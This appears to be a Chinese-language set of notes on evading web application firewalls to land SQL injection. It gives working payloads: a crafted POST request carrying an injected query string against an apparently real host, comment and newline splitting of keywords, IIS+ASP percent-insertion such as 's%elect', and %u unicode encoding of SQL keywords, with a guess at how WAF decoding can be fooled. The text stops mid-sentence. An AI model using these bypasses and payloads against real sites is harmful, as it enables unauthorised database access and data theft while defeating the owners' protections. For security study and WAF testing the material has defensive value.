bypass waf相关
基本上bypass waf存在以下4种特性的绕过,如果你能熟悉每种产品的特性,那么就无敌了、
- Web容器的特性
- Web应用层的问题
- WAF自身的问题(本次LIVE重点)
- 数据库的一些特性
2、绕过的时候,可以使用post传get包
POST /aboutus.php?classid=35/**/and/**/1=2 HTTP/1.1
Host: pjhqy.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 2
下面记得有两个回车,这样才是一个正常的Post包
3、函数分割之间可以加注释或者换行
concat//()
information_schema//./**/TABLES
information_schema%0a.%0aTABLES
[
](https://blog.csdn.net/qq_23936389/article/details/81256020)
WEB容器-中间件的特性绕过
1、iis+asp的特性可以进行组合绕过
在关键词中间添加%
例如s%elect
在WAF层,获取到的id参数值为 1 union all se%lect 1,2,3,4 fro%m adm%in ,此时waf因为%的分隔,
无法检测出关键字 select from 等
但是因为IIS的特性,id获取的实际参数就变为 1 union all select 1,2,3,4 from admin ,从而绕过了waf。
这个特性仅在iis+asp上 asp.net/aspx环境并不存在。
旧版本yxlink可绕
2、unicode编码 IIS中间件可识别
利用unicode编码,先转成\形式,然后再进行替换,这样浏览器找的时候,先会进行一层Url解码,最后拼接到数据库的时候,就还原成原来的了
<\u003E
1 union all %u0053elect 1,2,3,4 %u0066rom admin 是可以成功被解析的
http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html
s%u0065lect->select
s%u00f0lect->select
也正因为这个特性在iis里,因此在使用aspx的时候可以尝试使用该方法bypass,例如yxlink
这里对waf解码unicode的过程进行猜测
寻找百分号 -> 判断百分号及其所带字符是否符合unicode编码格式(%u000a) -> 符合则直接进行编码
很明显这里waf忽略了检测符合编码的字符是否能成功解码的过程
那么传入的payload: 【union--%u+回车+select】 在waf的此流程下则被编码为:
【union --被waf错认为可解码的unicode编码ect】 很显然waf将 【%u+回车+sel】这个